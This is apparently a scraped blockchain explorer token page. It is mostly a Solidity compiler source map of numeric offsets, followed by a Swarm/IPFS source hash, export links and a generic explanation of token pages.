:12;11472:19;;11131:366;;;:::o;11503:419::-;11669:4;11707:2;11696:9;11692:18;11684:26;;11756:9;11750:4;11746:20;11742:1;11731:9;11727:17;11720:47;11784:131;11910:4;11784:131;:::i;:::-;11776:139;;11503:419;;;:::o;11928:191::-;11968:3;11987:20;12005:1;11987:20;:::i;:::-;11982:25;;12021:20;12039:1;12021:20;:::i;:::-;12016:25;;12064:1;12061;12057:9;12050:16;;12085:3;12082:1;12079:10;12076:36;;;12092:18;;:::i;:::-;12076:36;11928:191;;;;:::o;12125:166::-;12265:18;12261:1;12253:6;12249:14;12242:42;12125:166;:::o;12297:366::-;12439:3;12460:67;12524:2;12519:3;12460:67;:::i;:::-;12453:74;;12536:93;12625:3;12536:93;:::i;:::-;12654:2;12649:3;12645:12;12638:19;;12297:366;;;:::o;12669:419::-;12835:4;12873:2;12862:9;12858:18;12850:26;;12922:9;12916:4;12912:20;12908:1;12897:9;12893:17;12886:47;12950:131;13076:4;12950:131;:::i;:::-;12942:139;;12669:419;;;:::o;13094:194::-;13134:4;13154:20;13172:1;13154:20;:::i;:::-;13149:25;;13188:20;13206:1;13188:20;:::i;:::-;13183:25;;13232:1;13229;13225:9;13217:17;;13256:1;13250:4;13247:11;13244:37;;;13261:18;;:::i;:::-;13244:37;13094:194;;;;:::o;13294:180::-;13342:77;13339:1;13332:88;13439:4;13436:1;13429:15;13463:4;13460:1;13453:15;13480:180;13528:77;13525:1;13518:88;13625:4;13622:1;13615:15;13649:4;13646:1;13639:15;13666:143;13723:5;13754:6;13748:13;13739:22;;13770:33;13797:5;13770:33;:::i;:::-;13666:143;;;;:::o;13815:351::-;13885:6;13934:2;13922:9;13913:7;13909:23;13905:32;13902:119;;;13940:79;;:::i;:::-;13902:119;14060:1;14085:64;14141:7;14132:6;14121:9;14117:22;14085:64;:::i;:::-;14075:74;;14031:128;13815:351;;;;:::o;14172:85::-;14217:7;14246:5;14235:16;;14172:85;;;:::o;14263:158::-;14321:9;14354:61;14372:42;14381:32;14407:5;14381:32;:::i;:::-;14372:42;:::i;:::-;14354:61;:::i;:::-;14341:74;;14263:158;;;:::o;14427:147::-;14522:45;14561:5;14522:45;:::i;:::-;14517:3;14510:58;14427:147;;:::o;14580:114::-;14647:6;14681:5;14675:12;14665:22;;14580:114;;;:::o;14700:184::-;14799:11;14833:6;14828:3;14821:19;14873:4;14868:3;14864:14;14849:29;;14700:184;;;;:::o;14890:132::-;14957:4;14980:3;14972:11;;15010:4;15005:3;15001:14;14993:22;;14890:132;;;:::o;15028:108::-;15105:24;15123:5;15105:24;:::i;:::-;15100:3;15093:37;15028:108;;:::o;15142:179::-;15211:10;15232:46;15274:3;15266:6;15232:46;:::i;:::-;15310:4;15305:3;15301:14;15287:28;;15142:179;;;;:::o;15327:113::-;15397:4;15429;15424:3;15420:14;15412:22;;15327:113;;;:::o;15476:732::-;15595:3;15624:54;15672:5;15624:54;:::i;:::-;15694:86;15773:6;15768:3;15694:86;:::i;:::-;15687:93;;15804:56;15854:5;15804:56;:::i;:::-;15883:7;15914:1;15899:284;15924:6;15921:1;15918:13;15899:284;;;16000:6;15994:13;16027:63;16086:3;16071:13;16027:63;:::i;:::-;16020:70;;16113:60;16166:6;16113:60;:::i;:::-;16103:70;;15959:224;15946:1;15943;15939:9;15934:14;;15899:284;;;15903:14;16199:3;16192:10;;15600:608;;;15476:732;;;;:::o;16214:831::-;16477:4;16515:3;16504:9;16500:19;16492:27;;16529:71;16597:1;16586:9;16582:17;16573:6;16529:71;:::i;:::-;16610:80;16686:2;16675:9;16671:18;16662:6;16610:80;:::i;:::-;16737:9;16731:4;16727:20;16722:2;16711:9;16707:18;16700:48;16765:108;16868:4;16859:6;16765:108;:::i;:::-;16757:116;;16883:72;16951:2;16940:9;16936:18;16927:6;16883:72;:::i;:::-;16965:73;17033:3;17022:9;17018:19;17009:6;16965:73;:::i;:::-;16214:831;;;;;;;;:::o

Swarm Source

ipfs://50a8741840832a5db199be3bc74c066dbfd1e0969f2c0443eee2db71d41b545c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.